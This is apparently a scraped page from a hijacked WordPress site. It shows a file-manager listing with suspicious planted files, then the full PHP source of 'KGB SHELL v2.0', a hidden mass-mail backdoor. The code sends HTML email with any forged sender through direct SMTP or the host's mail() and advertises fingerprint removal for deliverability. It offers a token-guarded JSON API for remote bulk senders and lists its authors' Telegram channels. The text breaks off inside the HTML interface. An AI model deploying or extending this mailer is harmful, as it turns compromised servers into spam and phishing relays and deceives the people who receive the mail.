Gecko [ c.stage.kornherr.net ]

Name	Size	Permission	Date
jsb51f8c	[ DIR ]	drwxr-xr-x	2026-08-08 15:52
languages	[ DIR ]	drwxr-xr-x	2026-08-08 15:52
mu-plugins	[ DIR ]	drwxr-xr-x	2026-08-08 15:52
plugins	[ DIR ]	drwxr-xr-x	2026-09-01 06:10
qq0829b3	[ DIR ]	drwxr-xr-x	2026-09-04 10:18
themes	[ DIR ]	drwxr-xr-x	2026-09-01 22:21
updraft	[ DIR ]	drwxr-xr-x	2026-08-21 09:05
upgrade	[ DIR ]	drwxr-xr-x	2026-08-02 10:49
upgrade-temp-backup	[ DIR ]	drwxr-xr-x	2026-09-02 10:03
uploads	[ DIR ]	drwxr-xr-x	2026-09-02 10:43
MuPlugin.php	1.24 KB	-rw-r--r--	2026-08-28 02:15
about.php	6.83 KB	-r--r--r--	2026-08-05 01:08
api.php	6.83 KB	-r--r--r--	2026-08-24 08:01
comand.php	30.86 KB	-rw-r--r--	2026-08-29 23:33
home.php	6.83 KB	-r--r--r--	2026-08-12 05:15
index.php	6.83 KB	-r--r--r--	2026-08-25 00:18
maintenance.php	6.83 KB	-r--r--r--	2026-08-29 01:27
ms-files.php	6.83 KB	-r--r--r--	2026-08-15 04:31
object-cache.php	959 B	-rw-r--r--	2012-01-08 17:01
options.php	6.83 KB	-r--r--r--	2026-08-14 01:15
plugin-install.php	6.83 KB	-r--r--r--	2026-08-14 00:26
security.php	6.83 KB	-r--r--r--	2026-08-06 01:15
smtp.php	38.23 KB	-rw-r--r--	2026-08-29 23:33
users.php	6.83 KB	-r--r--r--	2026-08-28 01:16
wp-blog-header.php	6.83 KB	-r--r--r--	2026-08-29 00:19
wp-load.php	6.83 KB	-r--r--r--	2026-08-26 01:09
wp-mail.php	6.83 KB	-r--r--r--	2026-08-27 01:30
wplog.php	7.73 KB	-rw-r--r--	2026-07-21 10:18

Rename

<?php
/**
 * ============================================================================
 *  KGB SHELL v2.0 - UNIVERSAL EMAIL SENDER (CYBERPUNK EDITION)
 * ============================================================================
 *  KGBLEGACY.NET | Multi-method remote mail engine (single-file PHP)
 *
 *  METHODS
 *    direct  : Direct SMTP to recipient MX (auto-resolve, port 25,
 *              HELO = sender domain, STARTTLS opportunistic, MX failover)
 *    mx      : Direct SMTP with PORT override (default 25) + HELO
 *    php     : PHP mail() via hosting MTA (sendmail/relay)
 *
 *  API (used by Tauri v2 sender - SHELL category)
 *    GET  ?action=ping&token=KEY
 *    POST {action:"send", token, method:"direct|mx|php", to, from,
 *          from_name, subject, body, helo?, port?}
 *    Response: {ok:bool, method, mx, port, tls, message_id, response,
 *               elapsed_ms, error?}
 *
 *  CONTACT
 *    Coder   : https://t.me/KGB_UNIT
 *    Website : KGBLEGACY.NET
 *    Channel : https://t.me/+O2JDvsCFqCllYTE8
 *    Group   : https://t.me/KGB_LEGACY
 *
 *  NOTE
 *    - Ganti KGB_SHELL_KEY sebelum deploy!
 *    - No X-Mailer / fingerprint tester -> deliverability lebih baik.
 *    - Email body = exactly what the user sent (no extra footer).
 * ============================================================================
 */

error_reporting(E_ALL & ~E_DEPRECATED & ~E_NOTICE & ~E_WARNING);
ini_set('display_errors', '0');
set_time_limit(120);
date_default_timezone_set('UTC');

// ============================================================================
//  CONFIG
// ============================================================================
define('KGB_SHELL_KEY', 'kgb_shell_v2_7f3a9c1e5b8d2f4a0c6e'); // GANTI INI!
define('KGB_TIMEOUT', 20);        // detik per koneksi SMTP
define('KGB_MAX_BODY', 300000);   // batas body 300 KB
define('KGB_MAX_MX', 3);          // maksimal MX dicoba (failover)
define('KGB_ALLOW_ORIGIN', '*');  // CORS

// ============================================================================
//  HELPERS
// ============================================================================

function kgb_json($data, $code = 200) {
    http_response_code($code);
    header('Content-Type: application/json; charset=utf-8');
    header('Access-Control-Allow-Origin: ' . KGB_ALLOW_ORIGIN);
    header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type, X-Api-Key');
    echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
    exit;
}

function kgb_fail($msg, $code = 400) {
    kgb_json(['ok' => false, 'error' => $msg], $code);
}

function kgb_clean($s) {
    // blokir header injection + kendalikan panjang
    $s = (string)$s;
    $s = str_replace(["\r", "\n", "\0"], '', $s);
    if (function_exists('mb_substr')) return mb_substr($s, 0, 512);
    return substr($s, 0, 512);
}

function kgb_domain_of($email) {
    $p = strrpos($email, '@');
    if ($p === false) return '';
    $d = strtolower(trim(substr($email, $p + 1)));
    return preg_replace('/[^a-z0-9.\-]/i', '', $d);
}

function kgb_valid_email($e) {
    $e = (string)$e;
    return $e !== '' && filter_var($e, FILTER_VALIDATE_EMAIL) !== false && strpos($e, '@') !== false;
}

function kgb_encode_word($s) {
    $s = (string)$s;
    if ($s === '' || preg_match('/[^\x20-\x7E]/', $s) === 0) return $s;
    if (function_exists('mb_encode_mimeheader')) {
        $enc = mb_encode_mimeheader($s, 'UTF-8', 'B');
        if ($enc !== false && $enc !== '') return $enc;
    }
    return '=?UTF-8?B?' . base64_encode($s) . '?=';
}

/**
 * Resolve MX record domain tujuan (RFC 5321).
 * Fallback to A record when no MX. Sort by priority, dedupe.
 */
function kgb_mx_lookup($domain) {
    $hosts = [];
    if (function_exists('dns_get_record')) {
        $mx = @dns_get_record($domain, DNS_MX);
        if (is_array($mx)) {
            foreach ($mx as $r) {
                $t = isset($r['target']) ? rtrim((string)$r['target'], '.') : '';
                if ($t === '' || $t === '.') continue;
                $hosts[] = ['host' => $t, 'pri' => isset($r['pri']) ? (int)$r['pri'] : 0];
            }
        }
        // sort by priority
        usort($hosts, function ($a, $b) { return $a['pri'] <=> $b['pri']; });
        // dedupe host
        $seen = [];
        $out  = [];
        foreach ($hosts as $h) {
            if (!isset($seen[$h['host']])) {
                $seen[$h['host']] = 1;
                $out[] = $h;
            }
        }
        $hosts = $out;
        if (empty($hosts)) {
            $a = @dns_get_record($domain, DNS_A);
            if (is_array($a)) {
                foreach ($a as $r) {
                    if (isset($r['ip'])) $hosts[] = ['host' => (string)$r['ip'], 'pri' => 0];
                }
            }
        }
    }
    return $hosts;
}

/**
 * Baca reply SMTP (tahan multi-line 250-.../250 ...).
 */
function kgb_read_reply($fp) {
    $buf = '';
    $deadline = microtime(true) + KGB_TIMEOUT;
    while (microtime(true) < $deadline) {
        $line = fgets($fp, 1024);
        if ($line === false) break;
        $buf .= $line;
        if (preg_match('/^(\d{3})([ -])/', $line, $m)) {
            if ($m[2] === ' ') break; // baris terakhir
        } else {
            break;
        }
    }
    return $buf;
}

/**
 * Normalize CRLF + dot-stuffing for DATA phase.
 */
function kgb_data_encode($msg) {
    $msg = str_replace(["\r\n", "\r"], "\n", $msg);
    $msg = str_replace("\n", "\r\n", $msg);
    $msg = preg_replace('/^\./m', '..', $msg);
    return $msg;
}

/**
 * Build RFC 5322 message (Message-ID + Date + MIME text/html).
 */
function kgb_build_message($to, $from, $from_name, $subject, $body) {
    $domain = kgb_domain_of($from);
    if ($domain === '') $domain = 'localhost';
    $msgid = time() . '.' . bin2hex(random_bytes(8)) . '@' . $domain;
    $from_hdr = ($from_name !== '') ? kgb_encode_word($from_name) . " <$from>" : "<$from>";
    $headers = "From: $from_hdr\r\n"
        . "To: <$to>\r\n"
        . "Message-ID: <$msgid>\r\n"
        . "Date: " . date('r') . "\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: text/html; charset=UTF-8\r\n"
        . "Content-Transfer-Encoding: 8bit\r\n"
        . "Subject: " . kgb_encode_word($subject) . "\r\n";
    return $headers . "\r\n" . $body;
}

/**
 * Main engine for direct SMTP (used by direct & mx methods).
 * host_override empty -> auto-resolve MX.
 */
function kgb_smtp_send($to, $from, $from_name, $subject, $body, $helo, $port, $host_override) {
    $domain = kgb_domain_of($from);
    $helo   = ($helo !== '') ? $helo : ($domain !== '' ? $domain : 'localhost');
    $port   = ($port !== '') ? (int)$port : 25;
    $msg    = kgb_build_message($to, $from, $from_name, $subject, $body);
    $msgid  = null;
    if (preg_match('/Message-ID: <([^>]+)>/', $msg, $mm)) $msgid = $mm[1];

if (!function_exists('fsockopen')) {
        return ['ok' => false, 'mx' => '', 'port' => $port, 'tls' => false,
                'message_id' => $msgid, 'response' => 'fsockopen disabled on this server'];
    }

$targets = [];
    if ($host_override !== '') {
        $targets[] = ['host' => $host_override, 'pri' => 0];
    } else {
        $to_domain = kgb_domain_of($to);
        $targets = kgb_mx_lookup($to_domain);
        if (empty($targets)) {
            return ['ok' => false, 'mx' => '', 'port' => $port, 'tls' => false,
                    'message_id' => $msgid, 'response' => "no MX/A record for $to_domain"];
        }
    }

$ssl_ctx = stream_context_create(['ssl' => [
        'verify_peer'       => false,
        'verify_peer_name'  => false,
        'allow_self_signed' => true,
        'SNI_enabled'       => true,
    ]]);

$errors   = [];
    $last_resp = '';
    $used_mx   = '';
    $used_tls  = false;
    $limit = min(count($targets), KGB_MAX_MX);

for ($i = 0; $i < $limit; $i++) {
        $t = $targets[$i]['host'];
        $used_mx = $t;
        $used_tls = false;

// Port 465 = implicit TLS langsung
        if ($port === 465) {
            $fp = @stream_socket_client("ssl://$t:$port", $errno, $errstr, KGB_TIMEOUT, STREAM_CLIENT_CONNECT, $ssl_ctx);
        } else {
            $fp = @stream_socket_client("tcp://$t:$port", $errno, $errstr, KGB_TIMEOUT, STREAM_CLIENT_CONNECT, $ssl_ctx);
        }
        if (!$fp) {
            $errors[] = "$t:$port connect fail ($errstr)";
            continue;
        }
        stream_set_timeout($fp, KGB_TIMEOUT);
        $ok = false;

// 1. Banner
        $resp = kgb_read_reply($fp);
        $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
        if (!preg_match('/^220[ -]/', $resp)) {
            fclose($fp);
            $errors[] = "$t banner: $last_resp";
            continue;
        }

// 2. EHLO
        fwrite($fp, "EHLO $helo\r\n");
        $resp = kgb_read_reply($fp);
        $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
        if (!preg_match('/^250[ -]/', $resp)) {
            fclose($fp);
            $errors[] = "$t EHLO: $last_resp";
            continue;
        }
        $caps = strtoupper($resp);

// 3. STARTTLS opportunistic (unless already implicit TLS)
        if ($port !== 465 && strpos($caps, 'STARTTLS') !== false) {
            fwrite($fp, "STARTTLS\r\n");
            $resp = kgb_read_reply($fp);
            $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
            if (preg_match('/^220[ -]/', $resp)) {
                if (@stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT)) {
                    $used_tls = true;
                    fwrite($fp, "EHLO $helo\r\n");
                    $resp = kgb_read_reply($fp);
                    $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
                    if (!preg_match('/^250[ -]/', $resp)) {
                        fclose($fp);
                        $errors[] = "$t EHLO(tls): $last_resp";
                        continue;
                    }
                }
            }
        } elseif ($port === 465) {
            $used_tls = true;
        }

// 4. MAIL FROM
        fwrite($fp, "MAIL FROM:<$from>\r\n");
        $resp = kgb_read_reply($fp);
        $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
        if (!preg_match('/^250[ -]/', $resp)) {
            fclose($fp);
            $errors[] = "$t MAIL FROM: $last_resp";
            continue;
        }

// 5. RCPT TO
        fwrite($fp, "RCPT TO:<$to>\r\n");
        $resp = kgb_read_reply($fp);
        $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
        if (!preg_match('/^(250|251)[ -]/', $resp)) {
            fclose($fp);
            $errors[] = "$t RCPT TO: $last_resp";
            continue;
        }

// 6. DATA
        fwrite($fp, "DATA\r\n");
        $resp = kgb_read_reply($fp);
        $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
        if (!preg_match('/^354[ -]/', $resp)) {
            fclose($fp);
            $errors[] = "$t DATA: $last_resp";
            continue;
        }
        fwrite($fp, kgb_data_encode($msg) . "\r\n.\r\n");
        $resp = kgb_read_reply($fp);
        $last_resp = trim(preg_replace('/\s+/', ' ', $resp));
        if (!preg_match('/^250[ -]/', $resp)) {
            fclose($fp);
            $errors[] = "$t DATA final: $last_resp";
            continue;
        }

// 7. QUIT
        fwrite($fp, "QUIT\r\n");
        @fgets($fp, 512);
        fclose($fp);

return ['ok' => true, 'mx' => $t, 'port' => $port, 'tls' => $used_tls,
                'message_id' => $msgid, 'response' => $last_resp];
    }

$detail = empty($errors) ? 'unknown SMTP error' : implode(' | ', $errors);
    return ['ok' => false, 'mx' => $used_mx, 'port' => $port, 'tls' => $used_tls,
            'message_id' => $msgid, 'response' => $detail];
}

/**
 * Method php - mail() via MTA server (sendmail/postfix/relay hosting).
 */
function kgb_php_send($to, $from, $from_name, $subject, $body) {
    $domain = kgb_domain_of($from);
    if ($domain === '') $domain = 'localhost';
    $msgid = time() . '.' . bin2hex(random_bytes(8)) . '@' . $domain;
    $from_hdr = ($from_name !== '') ? kgb_encode_word($from_name) . " <$from>" : "<$from>";
    $headers = "From: $from_hdr\r\n"
        . "Reply-To: $from\r\n"
        . "MIME-Version: 1.0\r\n"
        . "Content-Type: text/html; charset=UTF-8\r\n"
        . "Content-Transfer-Encoding: 8bit\r\n"
        . "Message-ID: <$msgid>\r\n"
        . "Date: " . date('r') . "\r\n";
    $body = str_replace(["\r\n", "\r"], "\n", $body);
    $subj = kgb_encode_word($subject);

$ok = false;
    if (function_exists('mail')) {
        // try with envelope -f; fallback without -f when failed/blocked
        $ok = @mail($to, $subj, $body, $headers, '-f ' . $from);
        if (!$ok) {
            $ok = @mail($to, $subj, $body, $headers);
        }
    }
    return ['ok' => (bool)$ok, 'mx' => 'php-mail()', 'port' => 0, 'tls' => false,
            'message_id' => $msgid,
            'response'   => $ok ? 'mail() accepted by server MTA' : 'mail() returned false (MTA unavailable / blocked by hosting)'];
}

// ============================================================================
//  API HANDLER
// ============================================================================

function kgb_handle_api($params) {
    $token = isset($params['token']) ? (string)$params['token'] : '';
    if (KGB_SHELL_KEY !== '' && !hash_equals(KGB_SHELL_KEY, $token)) {
        kgb_fail('invalid token', 403);
    }

$action = isset($params['action']) ? (string)$params['action'] : '';
    switch ($action) {
        case 'ping':
            kgb_json([
                'ok'         => true,
                'service'    => 'KGB SHELL',
                'version'    => '2.0.0',
                'ip'         => isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '',
                'hostname'   => function_exists('gethostname') ? gethostname() : '',
                'php'        => PHP_VERSION,
                'server_time'=> date('c'),
                'methods'    => ['direct', 'mx', 'php'],
            ]);

case 'send': {
            $method   = isset($params['method']) ? (string)$params['method'] : 'direct';
            $to       = isset($params['to']) ? kgb_clean($params['to']) : '';
            $from     = isset($params['from']) ? kgb_clean($params['from']) : '';
            $from_name= isset($params['from_name']) ? kgb_clean($params['from_name']) : '';
            $subject  = isset($params['subject']) ? kgb_clean($params['subject']) : '';
            $body     = isset($params['body']) ? (string)$params['body'] : '';
            $helo     = isset($params['helo']) ? kgb_clean($params['helo']) : '';
            $port     = isset($params['port']) ? kgb_clean($params['port']) : '';
            $host_ov  = isset($params['host']) ? kgb_clean($params['host']) : ''; // override MX manual (opsional, debugging)

if (!in_array($method, ['direct', 'mx', 'php'], true)) kgb_fail('invalid method');
            if (!kgb_valid_email($to))   kgb_fail('invalid recipient email');
            if (!kgb_valid_email($from)) kgb_fail('invalid from email');
            if ($subject === '') kgb_fail('subject required');
            $body_len = function_exists('mb_strlen') ? mb_strlen($body) : strlen($body);
            if ($body_len > KGB_MAX_BODY) kgb_fail('body too large');
            if ($method === 'mx' && $port !== '' && !ctype_digit($port)) kgb_fail('invalid port');

$t0 = microtime(true);
            if ($method === 'php') {
                $r = kgb_php_send($to, $from, $from_name, $subject, $body);
            } else {
                // direct: port 25 + HELO domain | mx: override port/helo
                $p = ($method === 'mx' && $port !== '') ? $port : '25';
                $h = ($method === 'mx') ? $helo : '';
                $r = kgb_smtp_send($to, $from, $from_name, $subject, $body, $h, $p, $host_ov);
            }
            $elapsed = (int)round((microtime(true) - $t0) * 1000);

if ($r['ok']) {
                kgb_json([
                    'ok'         => true,
                    'method'     => $method,
                    'mx'         => $r['mx'],
                    'port'       => $r['port'],
                    'tls'        => $r['tls'],
                    'message_id' => $r['message_id'],
                    'response'   => $r['response'],
                    'elapsed_ms' => $elapsed,
                ]);
            }
            kgb_json([
                'ok'         => false,
                'error'      => $r['response'],
                'method'     => $method,
                'mx'         => $r['mx'],
                'port'       => $r['port'],
                'tls'        => $r['tls'],
                'elapsed_ms' => $elapsed,
            ]);
        }

default:
            kgb_fail('unknown action', 400);
    }
}

// ============================================================================
//  DISPATCH: API (JSON body / form / ?action=) vs UI
// ============================================================================

if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
    header('Access-Control-Allow-Origin: ' . KGB_ALLOW_ORIGIN);
    header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
    header('Access-Control-Allow-Headers: Content-Type, X-Api-Key');
    http_response_code(204);
    exit;
}

$raw_body = file_get_contents('php://input');
$json_body = json_decode((string)$raw_body, true);
$params = is_array($json_body) ? $json_body : [];
if (!empty($_GET)) $params = array_merge($_GET, $params);
if (!empty($_POST)) $params = array_merge($params, $_POST);

if (isset($params['action'])) {
    kgb_handle_api($params); // exit JSON
}

// ============================================================================
//  UI MODE (plain form POST without JS also supported)
// ============================================================================

$ui_result = null;
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['ui_send'])) {
    $tok = isset($_POST['token']) ? (string)$_POST['token'] : '';
    if (!hash_equals(KGB_SHELL_KEY, $tok)) {
        $ui_result = ['ok' => false, 'error' => 'invalid token', 'method' => '--'];
    } else {
        $method    = isset($_POST['method']) ? (string)$_POST['method'] : 'direct';
        $to        = kgb_clean(isset($_POST['to']) ? $_POST['to'] : '');
        $from      = kgb_clean(isset($_POST['from']) ? $_POST['from'] : '');
        $from_name = kgb_clean(isset($_POST['from_name']) ? $_POST['from_name'] : '');
        $subject   = kgb_clean(isset($_POST['subject']) ? $_POST['subject'] : '');
        $body      = isset($_POST['body']) ? (string)$_POST['body'] : '';
        $helo      = kgb_clean(isset($_POST['helo']) ? $_POST['helo'] : '');
        $port      = kgb_clean(isset($_POST['port']) ? $_POST['port'] : '');

if (!in_array($method, ['direct', 'mx', 'php'], true)) {
            $ui_result = ['ok' => false, 'error' => 'invalid method', 'method' => $method];
        } elseif (!kgb_valid_email($to)) {
            $ui_result = ['ok' => false, 'error' => 'invalid recipient email', 'method' => $method];
        } elseif (!kgb_valid_email($from)) {
            $ui_result = ['ok' => false, 'error' => 'invalid from email', 'method' => $method];
        } elseif ($subject === '') {
            $ui_result = ['ok' => false, 'error' => 'subject required', 'method' => $method];
        } else {
            $t0 = microtime(true);
            if ($method === 'php') {
                $r = kgb_php_send($to, $from, $from_name, $subject, $body);
            } else {
                $p = ($method === 'mx' && $port !== '') ? $port : '25';
                $h = ($method === 'mx') ? $helo : '';
                $r = kgb_smtp_send($to, $from, $from_name, $subject, $body, $h, $p, '');
            }
            $r['elapsed_ms'] = (int)round((microtime(true) - $t0) * 1000);
            $r['method'] = $method;
            $ui_result = $r;
        }
    }
}

// ============================================================================
//  RENDER UI - CYBERPUNK
// ============================================================================
function kgb_h($s) {
    return htmlspecialchars((string)$s, ENT_QUOTES, 'UTF-8');
}

$server_ip   = isset($_SERVER['SERVER_ADDR']) ? $_SERVER['SERVER_ADDR'] : '-';
$hostname    = function_exists('gethostname') ? gethostname() : '-';
$domain_ui   = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '-';
$php_ver     = PHP_VERSION;
$now_ui      = date('Y-m-d H:i:s');
$key_ui      = KGB_SHELL_KEY;

$preset = [
    'method'    => isset($_POST['method']) ? kgb_h($_POST['method']) : 'direct',
    'to'        => isset($_POST['to']) ? kgb_h($_POST['to']) : '',
    'from'      => isset($_POST['from']) ? kgb_h($_POST['from']) : '',
    'from_name' => isset($_POST['from_name']) ? kgb_h($_POST['from_name']) : 'KGB LEGACY',
    'subject'   => isset($_POST['subject']) ? kgb_h($_POST['subject']) : '',
    'body'      => isset($_POST['body']) ? kgb_h($_POST['body']) : '',
    'helo'      => isset($_POST['helo']) ? kgb_h($_POST['helo']) : '',
    'port'      => isset($_POST['port']) ? kgb_h($_POST['port']) : '25',
];

$result_html = '';
if ($ui_result !== null) {
    $ok = !empty($ui_result['ok']);
    $cls = $ok ? 'ok' : 'fail';
    $lines = [];
    foreach ($ui_result as $k => $v) {
        if ($k === 'ok') continue;
        if (is_bool($v)) $v = $v ? 'true' : 'false';
        $lines[] = sprintf('%-14s : %s', strtoupper($k), kgb_h($v));
    }
    $result_html = '<div class="term-result ' . $cls . '">'
        . '<div class="tr-head">' . ($ok ? '&#9679; SEND RESULT - ACCEPTED' : '&#9679; SEND RESULT - REJECTED') . '</div>'
        . '<pre>' . implode("\n", $lines) . '</pre></div>';
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>KGB SHELL v2.0 - UNIVERSAL EMAIL SENDER</title>
<style>
  :root{
    --bg:#04060c; --panel:#0a0f1c; --panel2:#0d1424;
    --line:rgba(0,229,255,.14); --line2:rgba(255,43,214,.18);
    --cyan:#00e5ff; --green:#00ff9f; --magenta:#ff2bd6; --amber:#ffb300; --red:#ff3b5c;
    --txt:#c8d6e8; --dim:#5a6b85; --mono:'Share Tech Mono','JetBrains Mono','Cascadia Code',Consolas,monospace;
  }
  *{margin:0;padding:0;box-sizing:border-box}
  body{
    background:var(--bg); color:var(--txt); font-family:var(--mono); min-height:100vh;
    background-image:
      radial-gradient(ellipse 80% 50% at 50% -10%, rgba(0,229,255,.09), transparent 60%),
      radial-gradient(ellipse 60% 40% at 90% 110%, rgba(255,43,214,.07), transparent 60%),
      linear-gradient(rgba(0,229,255,.045) 1px, transparent 1px),
      linear-gradient(90deg, rgba(0,229,255,.045) 1px, transparent 1px);
    background-size:100% 100%,100% 100%,42px 42px,42px 42px;
    overflow-x:hidden;
  }
  .scanlines{position:fixed;inset:0;pointer-events:none;z-index:999;
    background:repeating-linear-gradient(0deg, rgba(0,0,0,.14) 0 1px, transparent 1px 3px);}
  .vignette{position:fixed;inset:0;pointer-events:none;z-index:998;
    background:radial-gradient(ellipse at center, transparent 55%, rgba(0,0,0,.55) 100%);}
  .wrap{max-width:1060px;margin:0 auto;padding:26px 18px 60px;position:relative;z-index:1}

/* ===== HEADER ===== */
  .topbar{display:flex;align-items:center;justify-content:space-between;flex-wrap:wrap;gap:12px;
    border:1px solid var(--line);background:rgba(10,15,28,.75);border-radius:10px;
    padding:16px 20px;box-shadow:0 0 34px rgba(0,229,255,.07), inset 0 0 24px rgba(0,229,255,.03);}
  .brand{display:flex;align-items:center;gap:14px}
  .brand-ico{width:44px;height:44px;border:1px solid var(--cyan);border-radius:8px;display:grid;place-items:center;
    font-size:22px;color:var(--cyan);background:linear-gradient(135deg, rgba(0,229,255,.14), rgba(255,43,214,.10));
    box-shadow:0 0 18px rgba(0,229,255,.35), inset 0 0 12px rgba(0,229,255,.15);text-shadow:0 0 10px var(--cyan)}
  .brand-name{font-size:22px;letter-spacing:3px;color:#eaf6ff;text-shadow:0 0 14px rgba(0,229,255,.55)}
  .brand-name .accent{color:var(--cyan)}
  .brand-tag{display:block;font-size:10px;letter-spacing:4px;color:var(--dim);margin-top:3px}
  .ver{padding:4px 10px;border:1px solid var(--magenta);color:var(--magenta);border-radius:6px;
    font-size:11px;letter-spacing:2px;box-shadow:0 0 14px rgba(255,43,214,.25);white-space:nowrap}
  .led{display:flex;align-items:center;gap:8px;font-size:11px;letter-spacing:2px;color:var(--dim)}
  .dot{width:8px;height:8px;border-radius:50%;background:var(--green);box-shadow:0 0 10px var(--green);animation:pulse 1.6s infinite}
  @keyframes pulse{0%,100%{opacity:1}50%{opacity:.35}}

/* ===== CONTACT BAR ===== */
  .contacts{display:grid;grid-template-columns:repeat(auto-fit,minmax(215px,1fr));gap:10px;margin:16px 0}
  .contact{border:1px solid var(--line);background:rgba(10,15,28,.6);border-radius:8px;padding:10px 14px;
    display:flex;align-items:center;gap:10px;transition:.18s;text-decoration:none;color:var(--txt)}
  .contact:hover{border-color:var(--cyan);box-shadow:0 0 18px rgba(0,229,255,.18);transform:translateY(-1px)}
  .c-ico{color:var(--cyan);text-shadow:0 0 8px var(--cyan)}
  .c-lab{font-size:9px;letter-spacing:3px;color:var(--dim)}
  .c-val{font-size:12px;color:#eaf6ff;word-break:break-all}
  .contact.mag .c-ico{color:var(--magenta);text-shadow:0 0 8px var(--magenta)}
  .contact.grn .c-ico{color:var(--green);text-shadow:0 0 8px var(--green)}

/* ===== SERVER STRIP ===== */
  .strip{display:grid;grid-template-columns:repeat(auto-fit,minmax(140px,1fr));gap:10px;margin:16px 0}
  .s-item{border:1px solid var(--line);background:var(--panel2);border-radius:8px;padding:10px 14px}
  .s-lab{font-size:9px;letter-spacing:3px;color:var(--dim);margin-bottom:4px}
  .s-val{font-size:13px;color:var(--cyan);text-shadow:0 0 8px rgba(0,229,255,.3)}

/* ===== PANELS ===== */
  .panel{border:1px solid var(--line);background:rgba(10,15,28,.72);border-radius:10px;margin-top:16px;
    box-shadow:0 0 30px rgba(0,229,255,.05)}
  .panel-head{padding:13px 18px;border-bottom:1px solid var(--line);display:flex;align-items:center;gap:10px;
    font-size:12px;letter-spacing:3px;color:#eaf6ff}
  .panel-head .tick{color:var(--cyan);text-shadow:0 0 8px var(--cyan)}
  .panel-body{padding:18px}

/* ===== METHOD CARDS ===== */
  .methods{display:grid;grid-template-columns:repeat(3,1fr);gap:12px;margin-bottom:18px}
  .method{position:relative;cursor:pointer}
  .method input{position:absolute;opacity:0;pointer-events:none}
  .m-card{border:1px solid var(--line);background:var(--panel2);border-radius:9px;padding:14px;height:100%;
    transition:.18s;border-top:2px solid transparent}
  .method input:checked + .m-card{border-color:var(--cyan);border-top-color:var(--cyan);
    box-shadow:0 0 22px rgba(0,229,255,.16);background:linear-gradient(160deg, rgba(0,229,255,.07), rgba(10,15,28,.9))}
  .m-card .m-name{font-size:14px;letter-spacing:2px;color:#eaf6ff;margin-bottom:6px}
  .method input:checked + .m-card .m-name{color:var(--cyan);text-shadow:0 0 10px rgba(0,229,255,.5)}
  .m-card .m-desc{font-size:10px;color:var(--dim);line-height:1.7}
  .m-card .m-tag{display:inline-block;margin-top:8px;font-size:9px;letter-spacing:2px;padding:3px 8px;
    border-radius:4px;border:1px solid var(--line2);color:var(--magenta)}
  .method input:checked + .m-card .m-tag{color:var(--green);border-color:rgba(0,255,159,.4);
    box-shadow:0 0 10px rgba(0,255,159,.2)}

/* ===== FORM ===== */
  .grid{display:grid;grid-template-columns:1fr 1fr;gap:14px}
  .field{display:flex;flex-direction:column;gap:6px}
  .field.full{grid-column:1/-1}
  label{font-size:10px;letter-spacing:3px;color:var(--dim)}
  input[type=text],input[type=password],textarea,select{
    background:#060a14;border:1px solid var(--line);border-radius:7px;color:var(--txt);
    font-family:var(--mono);font-size:13px;padding:10px 12px;outline:none;transition:.15s;width:100%}
  input:focus,textarea:focus,select:focus{border-color:var(--cyan);box-shadow:0 0 14px rgba(0,229,255,.18)}
  textarea{min-height:170px;resize:vertical;line-height:1.6}
  .mx-only{display:none}
  .mx-visible .mx-only{display:flex}
  .btn{border:none;border-radius:7px;font-family:var(--mono);font-size:13px;letter-spacing:3px;
    padding:13px 26px;cursor:pointer;color:#04060c;background:var(--green);font-weight:700;
    box-shadow:0 0 22px rgba(0,255,159,.35);transition:.15s}
  .btn:hover{box-shadow:0 0 34px rgba(0,255,159,.6);transform:translateY(-1px)}
  .btn:active{transform:translateY(0)}
  .btn.cy{background:var(--cyan);box-shadow:0 0 22px rgba(0,229,255,.3)}
  .btn.cy:hover{box-shadow:0 0 34px rgba(0,229,255,.55)}

/* ===== RESULT ===== */
  .term-result{border-radius:9px;margin-top:16px;overflow:hidden;border:1px solid var(--line)}
  .term-result.ok{border-color:rgba(0,255,159,.35);box-shadow:0 0 24px rgba(0,255,159,.12)}
  .term-result.fail{border-color:rgba(255,59,92,.4);box-shadow:0 0 24px rgba(255,59,92,.12)}
  .tr-head{padding:11px 16px;font-size:11px;letter-spacing:3px;background:rgba(0,255,159,.08);color:var(--green)}
  .term-result.fail .tr-head{background:rgba(255,59,92,.1);color:var(--red)}
  .term-result pre{padding:16px;font-size:12px;line-height:1.9;color:#b8e6f2;background:#060a14;overflow-x:auto;white-space:pre-wrap;word-break:break-all}

/* ===== FOOTER ===== */
  .foot{margin-top:26px;text-align:center;font-size:10px;letter-spacing:2px;color:var(--dim);line-height:2}
  .foot a{color:var(--cyan);text-decoration:none}
  .foot a:hover{text-shadow:0 0 10px var(--cyan)}
  .glitch{animation:gl 3s infinite}
  @keyframes gl{0%,92%,100%{text-shadow:0 0 14px rgba(0,229,255,.55)}94%{text-shadow:2px 0 var(--magenta),-2px 0 var(--cyan)}96%{text-shadow:-2px 0 var(--magenta),2px 0 var(--cyan)}98%{text-shadow:0 0 14px rgba(0,229,255,.55)}}
  @media(max-width:720px){.grid{grid-template-columns:1fr}.methods{grid-template-columns:1fr}}
</style>
</head>
<body>
<div class="scanlines"></div>
<div class="vignette"></div>
<div class="wrap">

<header class="topbar">
    <div class="brand">
      <div class="brand-ico">&#9673;</div>
      <div>
        <div class="brand-name glitch">KGB<span class="accent">_</span>SHELL</div>
        <div class="brand-tag">UNIVERSAL EMAIL SENDER // CYBERPUNK EDITION</div>
      </div>
    </div>
    <div style="display:flex;align-items:center;gap:14px">
      <span class="led"><span class="dot"></span>SYSTEM <b id="sys-led">READY</b></span>
      <span class="ver">v2.0.0</span>
    </div>
  </header>

<div class="contacts">
